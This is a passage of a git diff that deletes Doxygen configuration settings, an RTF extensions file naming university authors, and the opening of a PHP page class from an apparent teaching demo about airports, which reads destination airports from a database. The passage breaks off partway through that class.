-# See also: LATEX_MAKEINDEX_CMD for the part in the generated output file
-# (.tex).
-# The default file is: makeindex.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-MAKEINDEX_CMD_NAME     = makeindex
-
-# If the COMPACT_LATEX tag is set to YES, doxygen generates more compact LaTeX
-# documents. This may be useful for small projects and may help to save some
-# trees in general.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-COMPACT_LATEX          = NO
-
-# The PAPER_TYPE tag can be used to set the paper type that is used by the
-# printer.
-# Possible values are: a4 (210 x 297 mm), letter (8.5 x 11 inches), legal (8.5 x
-# 14 inches) and executive (7.25 x 10.5 inches).
-# The default value is: a4.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-PAPER_TYPE             = a4
-
-# The EXTRA_PACKAGES tag can be used to specify one or more LaTeX package names
-# that should be included in the LaTeX output. The package can be specified just
-# by its name or with the correct syntax as to be used with the LaTeX
-# \usepackage command. To get the times font for instance you can specify :
-# EXTRA_PACKAGES=times or EXTRA_PACKAGES={times}
-# To use the option intlimits with the amsmath package you can specify:
-# EXTRA_PACKAGES=[intlimits]{amsmath}
-# If left blank no extra packages will be included.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-EXTRA_PACKAGES         =
-
-# The LATEX_HEADER tag can be used to specify a personal LaTeX header for the
-# generated LaTeX document. The header should contain everything until the first
-# chapter. If it is left blank doxygen will generate a standard header. See
-# section "Doxygen usage" for information on how to let doxygen write the
-# default header to a separate file.
-#
-# Note: Only use a user-defined header if you know what you are doing! The
-# following commands have a special meaning inside the header: $title,
-# $datetime, $date, $doxygenversion, $projectname, $projectnumber,
-# $projectbrief, $projectlogo. Doxygen will replace $title with the empty
-# string, for the replacement values of the other commands the user is referred
-# to HTML_HEADER.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_HEADER           =
-
-# The LATEX_FOOTER tag can be used to specify a personal LaTeX footer for the
-# generated LaTeX document. The footer should contain everything after the last
-# chapter. If it is left blank doxygen will generate a standard footer. See
-# LATEX_HEADER for more information on how to generate a default footer and what
-# special commands can be used inside the footer.
-#
-# Note: Only use a user-defined footer if you know what you are doing!
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_FOOTER           =
-
-# The LATEX_EXTRA_STYLESHEET tag can be used to specify additional user-defined
-# LaTeX style sheets that are included after the standard style sheets created
-# by doxygen. Using this option one can overrule certain style aspects. Doxygen
-# will copy the style sheet files to the output directory.
-# Note: The order of the extra style sheet files is of importance (e.g. the last
-# style sheet in the list overrules the setting of the previous ones in the
-# list).
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_EXTRA_STYLESHEET =
-
-# The LATEX_EXTRA_FILES tag can be used to specify one or more extra images or
-# other source files which should be copied to the LATEX_OUTPUT output
-# directory. Note that the files will be copied as-is; there are no commands or
-# markers available.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_EXTRA_FILES      =
-
-# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated is
-# prepared for conversion to PDF (using ps2pdf or pdflatex). The PDF file will
-# contain links (just like the HTML output) instead of page references. This
-# makes the output suitable for online browsing using a PDF viewer.
-# The default value is: YES.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-PDF_HYPERLINKS         = YES
-
-# If the USE_PDFLATEX tag is set to YES, doxygen will use pdflatex to generate
-# the PDF file directly from the LaTeX files. Set this option to YES, to get a
-# higher quality PDF documentation.
-# The default value is: YES.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-USE_PDFLATEX           = YES
-
-# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \batchmode
-# command to the generated LaTeX files. This will instruct LaTeX to keep running
-# if errors occur, instead of asking the user for help. This option is also used
-# when generating formulas in HTML.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_BATCHMODE        = NO
-
-# If the LATEX_HIDE_INDICES tag is set to YES then doxygen will not include the
-# index chapters (such as File Index, Compound Index, etc.) in the output.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_HIDE_INDICES     = NO
-
-# If the LATEX_SOURCE_CODE tag is set to YES then doxygen will include source
-# code with syntax highlighting in the LaTeX output.
-#
-# Note that which sources are shown also depends on other settings such as
-# SOURCE_BROWSER.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_SOURCE_CODE      = NO
-
-# The LATEX_BIB_STYLE tag can be used to specify the style to use for the
-# bibliography, e.g. plainnat, or ieeetr. See
-# https://en.wikipedia.org/wiki/BibTeX and \cite for more info.
-# The default value is: plain.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_BIB_STYLE        = plain
-
-# If the LATEX_TIMESTAMP tag is set to YES then the footer of each generated
-# page will contain the date and time when the page was generated. Setting this
-# to NO can help when comparing the output of multiple runs.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_TIMESTAMP        = NO
-
-#---------------------------------------------------------------------------
-# Configuration options related to the RTF output
-#---------------------------------------------------------------------------
-
-# If the GENERATE_RTF tag is set to YES, doxygen will generate RTF output. The
-# RTF output is optimized for Word 97 and may not look too pretty with other RTF
-# readers/editors.
-# The default value is: NO.
-
-GENERATE_RTF           = YES
-
-# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. If a
-# relative path is entered the value of OUTPUT_DIRECTORY will be put in front of
-# it.
-# The default directory is: rtf.
-# This tag requires that the tag GENERATE_RTF is set to YES.
-
-RTF_OUTPUT             = _generated
-
-# If the COMPACT_RTF tag is set to YES, doxygen generates more compact RTF
-# documents. This may be useful for small projects and may help to save some
-# trees in general.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_RTF is set to YES.
-
-COMPACT_RTF            = NO
-
-# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated will
-# contain hyperlink fields. The RTF file will contain links (just like the HTML
-# output) instead of page references. This makes the output suitable for online
-# browsing using Word or some other Word compatible readers that support those
-# fields.
-#
-# Note: WordPad (write) and others do not support links.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_RTF is set to YES.
-
-RTF_HYPERLINKS         = NO
-
-# Load stylesheet definitions from file. Syntax is similar to doxygen's
-# configuration file, i.e. a series of assignments. You only have to provide
-# replacements, missing definitions are set to their default value.
-#
-# See also section "Doxygen usage" for information on how to generate the
-# default style sheet that doxygen normally uses.
-# This tag requires that the tag GENERATE_RTF is set to YES.
-
-RTF_STYLESHEET_FILE    = 
-
-# Set optional variables used in the generation of an RTF document. Syntax is
-# similar to doxygen's configuration file. A template extensions file can be
-# generated using doxygen -e rtf extensionFile.
-# This tag requires that the tag GENERATE_RTF is set to YES.
-
-RTF_EXTENSIONS_FILE    = _rtf_extensionsFile.txt
-
-# If the RTF_SOURCE_CODE tag is set to YES then doxygen will include source code
-# with syntax highlighting in the RTF output.
-#
-# Note that which sources are shown also depends on other settings such as
-# SOURCE_BROWSER.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_RTF is set to YES.
-
-RTF_SOURCE_CODE        = NO
-
-#---------------------------------------------------------------------------
-# Configuration options related to the man page output
-#---------------------------------------------------------------------------
-
-# If the GENERATE_MAN tag is set to YES, doxygen will generate man pages for
-# classes and files.
-# The default value is: NO.
-
-GENERATE_MAN           = NO
-
-# The MAN_OUTPUT tag is used to specify where the man pages will be put. If a
-# relative path is entered the value of OUTPUT_DIRECTORY will be put in front of
-# it. A directory man3 will be created inside the directory specified by
-# MAN_OUTPUT.
-# The default directory is: man.
-# This tag requires that the tag GENERATE_MAN is set to YES.
-
-MAN_OUTPUT             = man
-
-# The MAN_EXTENSION tag determines the extension that is added to the generated
-# man pages. In case the manual section does not start with a number, the number
-# 3 is prepended. The dot (.) at the beginning of the MAN_EXTENSION tag is
-# optional.
-# The default value is: .3.
-# This tag requires that the tag GENERATE_MAN is set to YES.
-
-MAN_EXTENSION          = .3
-
-# The MAN_SUBDIR tag determines the name of the directory created within
-# MAN_OUTPUT in which the man pages are placed. If defaults to man followed by
-# MAN_EXTENSION with the initial . removed.
-# This tag requires that the tag GENERATE_MAN is set to YES.
-
-MAN_SUBDIR             =
-
-# If the MAN_LINKS tag is set to YES and doxygen generates man output, then it
-# will generate one additional man file for each entity documented in the real
-# man page(s). These additional files only source the real man page, but without
-# them the man command would be unable to find the correct page.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_MAN is set to YES.
-
-MAN_LINKS              = NO
-
-#---------------------------------------------------------------------------
-# Configuration options related to the XML output
-#---------------------------------------------------------------------------
-
-# If the GENERATE_XML tag is set to YES, doxygen will generate an XML file that
-# captures the structure of the code including all documentation.
-# The default value is: NO.
-
-GENERATE_XML           = NO
-
-# The XML_OUTPUT tag is used to specify where the XML pages will be put. If a
-# relative path is entered the value of OUTPUT_DIRECTORY will be put in front of
-# it.
-# The default directory is: xml.
-# This tag requires that the tag GENERATE_XML is set to YES.
-
-XML_OUTPUT             = xml
-
-# If the XML_PROGRAMLISTING tag is set to YES, doxygen will dump the program
-# listings (including syntax highlighting and cross-referencing information) to
-# the XML output. Note that enabling this will significantly increase the size
-# of the XML output.
-# The default value is: YES.
-# This tag requires that the tag GENERATE_XML is set to YES.
-
-XML_PROGRAMLISTING     = YES
-
-#---------------------------------------------------------------------------
-# Configuration options related to the DOCBOOK output
-#---------------------------------------------------------------------------
-
-# If the GENERATE_DOCBOOK tag is set to YES, doxygen will generate Docbook files
-# that can be used to generate PDF.
-# The default value is: NO.
-
-GENERATE_DOCBOOK       = NO
-
-# The DOCBOOK_OUTPUT tag is used to specify where the Docbook pages will be put.
-# If a relative path is entered the value of OUTPUT_DIRECTORY will be put in
-# front of it.
-# The default directory is: docbook.
-# This tag requires that the tag GENERATE_DOCBOOK is set to YES.
-
-DOCBOOK_OUTPUT         = docbook
-
-# If the DOCBOOK_PROGRAMLISTING tag is set to YES, doxygen will include the
-# program listings (including syntax highlighting and cross-referencing
-# information) to the DOCBOOK output. Note that enabling this will significantly
-# increase the size of the DOCBOOK output.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_DOCBOOK is set to YES.
-
-DOCBOOK_PROGRAMLISTING = NO
-
-#---------------------------------------------------------------------------
-# Configuration options for the AutoGen Definitions output
-#---------------------------------------------------------------------------
-
-# If the GENERATE_AUTOGEN_DEF tag is set to YES, doxygen will generate an
-# AutoGen Definitions (see http://autogen.sourceforge.net/) file that captures
-# the structure of the code including all documentation. Note that this feature
-# is still experimental and incomplete at the moment.
-# The default value is: NO.
-
-GENERATE_AUTOGEN_DEF   = NO
-
-#---------------------------------------------------------------------------
-# Configuration options related to the Perl module output
-#---------------------------------------------------------------------------
-
-# If the GENERATE_PERLMOD tag is set to YES, doxygen will generate a Perl module
-# file that captures the structure of the code including all documentation.
-#
-# Note that this feature is still experimental and incomplete at the moment.
-# The default value is: NO.
-
-GENERATE_PERLMOD       = NO
-
-# If the PERLMOD_LATEX tag is set to YES, doxygen will generate the necessary
-# Makefile rules, Perl scripts and LaTeX code to be able to generate PDF and DVI
-# output from the Perl module output.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_PERLMOD is set to YES.
-
-PERLMOD_LATEX          = NO
-
-# If the PERLMOD_PRETTY tag is set to YES, the Perl module output will be nicely
-# formatted so it can be parsed by a human reader. This is useful if you want to
-# understand what is going on. On the other hand, if this tag is set to NO, the
-# size of the Perl module output will be much smaller and Perl will parse it
-# just the same.
-# The default value is: YES.
-# This tag requires that the tag GENERATE_PERLMOD is set to YES.
-
-PERLMOD_PRETTY         = YES
-
-# The names of the make variables in the generated doxyrules.make file are
-# prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. This is useful
-# so different doxyrules.make files included by the same Makefile don't
-# overwrite each other's variables.
-# This tag requires that the tag GENERATE_PERLMOD is set to YES.
-
-PERLMOD_MAKEVAR_PREFIX =
-
-#---------------------------------------------------------------------------
-# Configuration options related to the preprocessor
-#---------------------------------------------------------------------------
-
-# If the ENABLE_PREPROCESSING tag is set to YES, doxygen will evaluate all
-# C-preprocessor directives found in the sources and include files.
-# The default value is: YES.
-
-ENABLE_PREPROCESSING   = YES
-
-# If the MACRO_EXPANSION tag is set to YES, doxygen will expand all macro names
-# in the source code. If set to NO, only conditional compilation will be
-# performed. Macro expansion can be done in a controlled way by setting
-# EXPAND_ONLY_PREDEF to YES.
-# The default value is: NO.
-# This tag requires that the tag ENABLE_PREPROCESSING is set to YES.
-
-MACRO_EXPANSION        = NO
-
-# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES then
-# the macro expansion is limited to the macros specified with the PREDEFINED and
-# EXPAND_AS_DEFINED tags.
-# The default value is: NO.
-# This tag requires that the tag ENABLE_PREPROCESSING is set to YES.
-
-EXPAND_ONLY_PREDEF     = NO
-
-# If the SEARCH_INCLUDES tag is set to YES, the include files in the
-# INCLUDE_PATH will be searched if a #include is found.
-# The default value is: YES.
-# This tag requires that the tag ENABLE_PREPROCESSING is set to YES.
-
-SEARCH_INCLUDES        = YES
-
-# The INCLUDE_PATH tag can be used to specify one or more directories that
-# contain include files that are not input files but should be processed by the
-# preprocessor.
-# This tag requires that the tag SEARCH_INCLUDES is set to YES.
-
-INCLUDE_PATH           =
-
-# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard
-# patterns (like *.h and *.hpp) to filter out the header-files in the
-# directories. If left blank, the patterns specified with FILE_PATTERNS will be
-# used.
-# This tag requires that the tag ENABLE_PREPROCESSING is set to YES.
-
-INCLUDE_FILE_PATTERNS  =
-
-# The PREDEFINED tag can be used to specify one or more macro names that are
-# defined before the preprocessor is started (similar to the -D option of e.g.
-# gcc). The argument of the tag is a list of macros of the form: name or
-# name=definition (no spaces). If the definition and the "=" are omitted, "=1"
-# is assumed. To prevent a macro definition from being undefined via #undef or
-# recursively expanded use the := operator instead of the = operator.
-# This tag requires that the tag ENABLE_PREPROCESSING is set to YES.
-
-PREDEFINED             =
-
-# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then this
-# tag can be used to specify a list of macro names that should be expanded. The
-# macro definition that is found in the sources will be used. Use the PREDEFINED
-# tag if you want to use a different macro definition that overrules the
-# definition found in the source code.
-# This tag requires that the tag ENABLE_PREPROCESSING is set to YES.
-
-EXPAND_AS_DEFINED      =
-
-# If the SKIP_FUNCTION_MACROS tag is set to YES then doxygen's preprocessor will
-# remove all references to function-like macros that are alone on a line, have
-# an all uppercase name, and do not end with a semicolon. Such function macros
-# are typically used for boiler-plate code, and will confuse the parser if not
-# removed.
-# The default value is: YES.
-# This tag requires that the tag ENABLE_PREPROCESSING is set to YES.
-
-SKIP_FUNCTION_MACROS   = YES
-
-#---------------------------------------------------------------------------
-# Configuration options related to external references
-#---------------------------------------------------------------------------
-
-# The TAGFILES tag can be used to specify one or more tag files. For each tag
-# file the location of the external documentation should be added. The format of
-# a tag file without this location is as follows:
-# TAGFILES = file1 file2 ...
-# Adding location for the tag files is done as follows:
-# TAGFILES = file1=loc1 "file2 = loc2" ...
-# where loc1 and loc2 can be relative or absolute paths or URLs. See the
-# section "Linking to external documentation" for more information about the use
-# of tag files.
-# Note: Each tag file must have a unique name (where the name does NOT include
-# the path). If a tag file is not located in the directory in which doxygen is
-# run, you must also specify the path to the tagfile here.
-
-TAGFILES               =
-
-# When a file name is specified after GENERATE_TAGFILE, doxygen will create a
-# tag file that is based on the input files it reads. See section "Linking to
-# external documentation" for more information about the usage of tag files.
-
-GENERATE_TAGFILE       =
-
-# If the ALLEXTERNALS tag is set to YES, all external class will be listed in
-# the class index. If set to NO, only the inherited external classes will be
-# listed.
-# The default value is: NO.
-
-ALLEXTERNALS           = NO
-
-# If the EXTERNAL_GROUPS tag is set to YES, all external groups will be listed
-# in the modules index. If set to NO, only the current project's groups will be
-# listed.
-# The default value is: YES.
-
-EXTERNAL_GROUPS        = YES
-
-# If the EXTERNAL_PAGES tag is set to YES, all external pages will be listed in
-# the related pages index. If set to NO, only the current project's pages will
-# be listed.
-# The default value is: YES.
-
-EXTERNAL_PAGES         = YES
-
-#---------------------------------------------------------------------------
-# Configuration options related to the dot tool
-#---------------------------------------------------------------------------
-
-# If the CLASS_DIAGRAMS tag is set to YES, doxygen will generate a class diagram
-# (in HTML and LaTeX) for classes with base or super classes. Setting the tag to
-# NO turns the diagrams off. Note that this option also works with HAVE_DOT
-# disabled, but it is recommended to install and use dot, since it yields more
-# powerful graphs.
-# The default value is: YES.
-
-CLASS_DIAGRAMS         = YES
-
-# You can include diagrams made with dia in doxygen documentation. Doxygen will
-# then run dia to produce the diagram and insert it in the documentation. The
-# DIA_PATH tag allows you to specify the directory where the dia binary resides.
-# If left empty dia is assumed to be found in the default search path.
-
-DIA_PATH               =
-
-# If set to YES the inheritance and collaboration graphs will hide inheritance
-# and usage relations if the target is undocumented or is not a class.
-# The default value is: YES.
-
-HIDE_UNDOC_RELATIONS   = YES
-
-# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is
-# available from the path. This tool is part of Graphviz (see:
-# http://www.graphviz.org/), a graph visualization toolkit from AT&T and Lucent
-# Bell Labs. The other options in this section have no effect if this option is
-# set to NO
-# The default value is: NO.
-
-HAVE_DOT               = NO
-
-# The DOT_NUM_THREADS specifies the number of dot invocations doxygen is allowed
-# to run in parallel. When set to 0 doxygen will base this on the number of
-# processors available in the system. You can set it explicitly to a value
-# larger than 0 to get control over the balance between CPU load and processing
-# speed.
-# Minimum value: 0, maximum value: 32, default value: 0.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_NUM_THREADS        = 0
-
-# When you want a differently looking font in the dot files that doxygen
-# generates you can specify the font name using DOT_FONTNAME. You need to make
-# sure dot is able to find the font, which can be done by putting it in a
-# standard location or by setting the DOTFONTPATH environment variable or by
-# setting DOT_FONTPATH to the directory containing the font.
-# The default value is: Helvetica.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_FONTNAME           = Helvetica
-
-# The DOT_FONTSIZE tag can be used to set the size (in points) of the font of
-# dot graphs.
-# Minimum value: 4, maximum value: 24, default value: 10.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_FONTSIZE           = 10
-
-# By default doxygen will tell dot to use the default font as specified with
-# DOT_FONTNAME. If you specify a different font using DOT_FONTNAME you can set
-# the path where dot can find it using this tag.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_FONTPATH           =
-
-# If the CLASS_GRAPH tag is set to YES then doxygen will generate a graph for
-# each documented class showing the direct and indirect inheritance relations.
-# Setting this tag to YES will force the CLASS_DIAGRAMS tag to NO.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-CLASS_GRAPH            = YES
-
-# If the COLLABORATION_GRAPH tag is set to YES then doxygen will generate a
-# graph for each documented class showing the direct and indirect implementation
-# dependencies (inheritance, containment, and class references variables) of the
-# class with other documented classes.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-COLLABORATION_GRAPH    = YES
-
-# If the GROUP_GRAPHS tag is set to YES then doxygen will generate a graph for
-# groups, showing the direct groups dependencies.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-GROUP_GRAPHS           = YES
-
-# If the UML_LOOK tag is set to YES, doxygen will generate inheritance and
-# collaboration diagrams in a style similar to the OMG's Unified Modeling
-# Language.
-# The default value is: NO.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-UML_LOOK               = NO
-
-# If the UML_LOOK tag is enabled, the fields and methods are shown inside the
-# class node. If there are many fields or methods and many nodes the graph may
-# become too big to be useful. The UML_LIMIT_NUM_FIELDS threshold limits the
-# number of items for each type to make the size more manageable. Set this to 0
-# for no limit. Note that the threshold may be exceeded by 50% before the limit
-# is enforced. So when you set the threshold to 10, up to 15 fields may appear,
-# but if the number exceeds 15, the total amount of fields shown is limited to
-# 10.
-# Minimum value: 0, maximum value: 100, default value: 10.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-UML_LIMIT_NUM_FIELDS   = 10
-
-# If the TEMPLATE_RELATIONS tag is set to YES then the inheritance and
-# collaboration graphs will show the relations between templates and their
-# instances.
-# The default value is: NO.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-TEMPLATE_RELATIONS     = NO
-
-# If the INCLUDE_GRAPH, ENABLE_PREPROCESSING and SEARCH_INCLUDES tags are set to
-# YES then doxygen will generate a graph for each documented file showing the
-# direct and indirect include dependencies of the file with other documented
-# files.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-INCLUDE_GRAPH          = YES
-
-# If the INCLUDED_BY_GRAPH, ENABLE_PREPROCESSING and SEARCH_INCLUDES tags are
-# set to YES then doxygen will generate a graph for each documented file showing
-# the direct and indirect include dependencies of the file with other documented
-# files.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-INCLUDED_BY_GRAPH      = YES
-
-# If the CALL_GRAPH tag is set to YES then doxygen will generate a call
-# dependency graph for every global function or class method.
-#
-# Note that enabling this option will significantly increase the time of a run.
-# So in most cases it will be better to enable call graphs for selected
-# functions only using the \callgraph command. Disabling a call graph can be
-# accomplished by means of the command \hidecallgraph.
-# The default value is: NO.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-CALL_GRAPH             = NO
-
-# If the CALLER_GRAPH tag is set to YES then doxygen will generate a caller
-# dependency graph for every global function or class method.
-#
-# Note that enabling this option will significantly increase the time of a run.
-# So in most cases it will be better to enable caller graphs for selected
-# functions only using the \callergraph command. Disabling a caller graph can be
-# accomplished by means of the command \hidecallergraph.
-# The default value is: NO.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-CALLER_GRAPH           = NO
-
-# If the GRAPHICAL_HIERARCHY tag is set to YES then doxygen will graphical
-# hierarchy of all classes instead of a textual one.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-GRAPHICAL_HIERARCHY    = YES
-
-# If the DIRECTORY_GRAPH tag is set to YES then doxygen will show the
-# dependencies a directory has on other directories in a graphical way. The
-# dependency relations are determined by the #include relations between the
-# files in the directories.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DIRECTORY_GRAPH        = YES
-
-# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images
-# generated by dot. For an explanation of the image formats see the section
-# output formats in the documentation of the dot tool (Graphviz (see:
-# http://www.graphviz.org/)).
-# Note: If you choose svg you need to set HTML_FILE_EXTENSION to xhtml in order
-# to make the SVG files visible in IE 9+ (other browsers do not have this
-# requirement).
-# Possible values are: png, jpg, gif, svg, png:gd, png:gd:gd, png:cairo,
-# png:cairo:gd, png:cairo:cairo, png:cairo:gdiplus, png:gdiplus and
-# png:gdiplus:gdiplus.
-# The default value is: png.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_IMAGE_FORMAT       = png
-
-# If DOT_IMAGE_FORMAT is set to svg, then this option can be set to YES to
-# enable generation of interactive SVG images that allow zooming and panning.
-#
-# Note that this requires a modern browser other than Internet Explorer. Tested
-# and working are Firefox, Chrome, Safari, and Opera.
-# Note: For IE 9+ you need to set HTML_FILE_EXTENSION to xhtml in order to make
-# the SVG files visible. Older versions of IE do not have SVG support.
-# The default value is: NO.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-INTERACTIVE_SVG        = NO
-
-# The DOT_PATH tag can be used to specify the path where the dot tool can be
-# found. If left blank, it is assumed the dot tool can be found in the path.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_PATH               =
-
-# The DOTFILE_DIRS tag can be used to specify one or more directories that
-# contain dot files that are included in the documentation (see the \dotfile
-# command).
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOTFILE_DIRS           =
-
-# The MSCFILE_DIRS tag can be used to specify one or more directories that
-# contain msc files that are included in the documentation (see the \mscfile
-# command).
-
-MSCFILE_DIRS           =
-
-# The DIAFILE_DIRS tag can be used to specify one or more directories that
-# contain dia files that are included in the documentation (see the \diafile
-# command).
-
-DIAFILE_DIRS           =
-
-# When using plantuml, the PLANTUML_JAR_PATH tag should be used to specify the
-# path where java can find the plantuml.jar file. If left blank, it is assumed
-# PlantUML is not used or called during a preprocessing step. Doxygen will
-# generate a warning when it encounters a \startuml command in this case and
-# will not generate output for the diagram.
-
-PLANTUML_JAR_PATH      =
-
-# When using plantuml, the PLANTUML_CFG_FILE tag can be used to specify a
-# configuration file for plantuml.
-
-PLANTUML_CFG_FILE      =
-
-# When using plantuml, the specified paths are searched for files specified by
-# the !include statement in a plantuml block.
-
-PLANTUML_INCLUDE_PATH  =
-
-# The DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of nodes
-# that will be shown in the graph. If the number of nodes in a graph becomes
-# larger than this value, doxygen will truncate the graph, which is visualized
-# by representing a node as a red box. Note that doxygen if the number of direct
-# children of the root node in a graph is already larger than
-# DOT_GRAPH_MAX_NODES then the graph will not be shown at all. Also note that
-# the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH.
-# Minimum value: 0, maximum value: 10000, default value: 50.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_GRAPH_MAX_NODES    = 50
-
-# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the graphs
-# generated by dot. A depth value of 3 means that only nodes reachable from the
-# root by following a path via at most 3 edges will be shown. Nodes that lay
-# further from the root node will be omitted. Note that setting this option to 1
-# or 2 may greatly reduce the computation time needed for large code bases. Also
-# note that the size of a graph can be further restricted by
-# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction.
-# Minimum value: 0, maximum value: 1000, default value: 0.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-MAX_DOT_GRAPH_DEPTH    = 0
-
-# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent
-# background. This is disabled by default, because dot on Windows does not seem
-# to support this out of the box.
-#
-# Warning: Depending on the platform used, enabling this option may lead to
-# badly anti-aliased labels on the edges of a graph (i.e. they become hard to
-# read).
-# The default value is: NO.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_TRANSPARENT        = NO
-
-# Set the DOT_MULTI_TARGETS tag to YES to allow dot to generate multiple output
-# files in one run (i.e. multiple -o and -T options on the command line). This
-# makes dot run faster, but since only newer versions of dot (>1.8.10) support
-# this, this feature is disabled by default.
-# The default value is: NO.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_MULTI_TARGETS      = NO
-
-# If the GENERATE_LEGEND tag is set to YES doxygen will generate a legend page
-# explaining the meaning of the various boxes and arrows in the dot generated
-# graphs.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-GENERATE_LEGEND        = YES
-
-# If the DOT_CLEANUP tag is set to YES, doxygen will remove the intermediate dot
-# files that are used to generate the various graphs.
-# The default value is: YES.
-# This tag requires that the tag HAVE_DOT is set to YES.
-
-DOT_CLEANUP            = YES
diff --git a/src/Demos/PHP/Doxygen/_rtf_extensionsFile.txt b/src/Demos/PHP/Doxygen/_rtf_extensionsFile.txt
deleted file mode 100644
index 8e8f9dfb947d7577923beb168881aea5b2c9f4d3..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Doxygen/_rtf_extensionsFile.txt
+++ /dev/null
@@ -1,48 +0,0 @@
-# Generated by doxygen 1.8.16
-
-# This file describes extensions used for generating RTF output.
-# All text after a hash (#) is considered a comment and will be ignored.
-# Remove a hash to activate a line.
-
-# Overrides the project title.
-#Title           = 
-
-# Name of the company that produced this document.
-Company         = Hochschule Darmstadt
-
-# Filename of a company or project logo.
-#LogoFilename    = 
-
-# Author of the document.
-Author          = Prof. Dr. Bernhard Kreling, Prof. Dr. Ralf Hahn
-
-# Type of document (e.g. Design Specification, User Manual, etc.).
-#DocumentType    = 
-
-# Document tracking number.
-#DocumentId      = 
-
-# Name of the author's manager.
-# This field is not displayed in the document itself, but it is 
-# available in the information block of the rtf file.  In Microsoft 
-# Word, it is available under File:Properties.
-#Manager         = 
-
-# Subject of the document.
-# This field is not displayed in the document itself, but it is 
-# available in the information block of the rtf file.  In Microsoft 
-# Word, it is available under File:Properties.
-#Subject         = 
-
-# Comments regarding the document.
-# This field is not displayed in the document itself, but it is 
-# available in the information block of the rtf file.  In Microsoft 
-# Word, it is available under File:Properties.
-#Comments        = 
-
-# Keywords associated with the document.
-# This field is not displayed in the document itself, but it is 
-# available in the information block of the rtf file.  In Microsoft 
-# Word, it is available under File:Properties.
-#Keywords        = 
-
diff --git a/src/Demos/PHP/Flughafen_Seitenklassen/Add.php b/src/Demos/PHP/Flughafen_Seitenklassen/Add.php
deleted file mode 100644
index e54664b2d455a53746d926607c2cd7284bc403d3..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_Seitenklassen/Add.php
+++ /dev/null
@@ -1,131 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-require_once './Page.php';
-
-class Add extends Page
-{
-    protected function __construct()
-    {
-        parent::__construct();
-
-        // to do: instantiate members representing substructures/blocks
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    protected function getViewData():array
-    {
-        $SQLabfrage = "SELECT * FROM zielflughafen";
-        $Recordset = $this->database->query($SQLabfrage);
-        if (!$Recordset) {
-            throw new Exception("Kein Flughafen in der Datenbank");
-        }
-        $Flughafen = array();
-
-        // Benoetigte Eintraege für HTML-Ausgabe auslesen
-        $Record = $Recordset->fetch_assoc();
-        while ($Record) {
-            $MyZielflughafen = $Record["Zielflughafen"];
-            $MyLand = $Record["Land"];
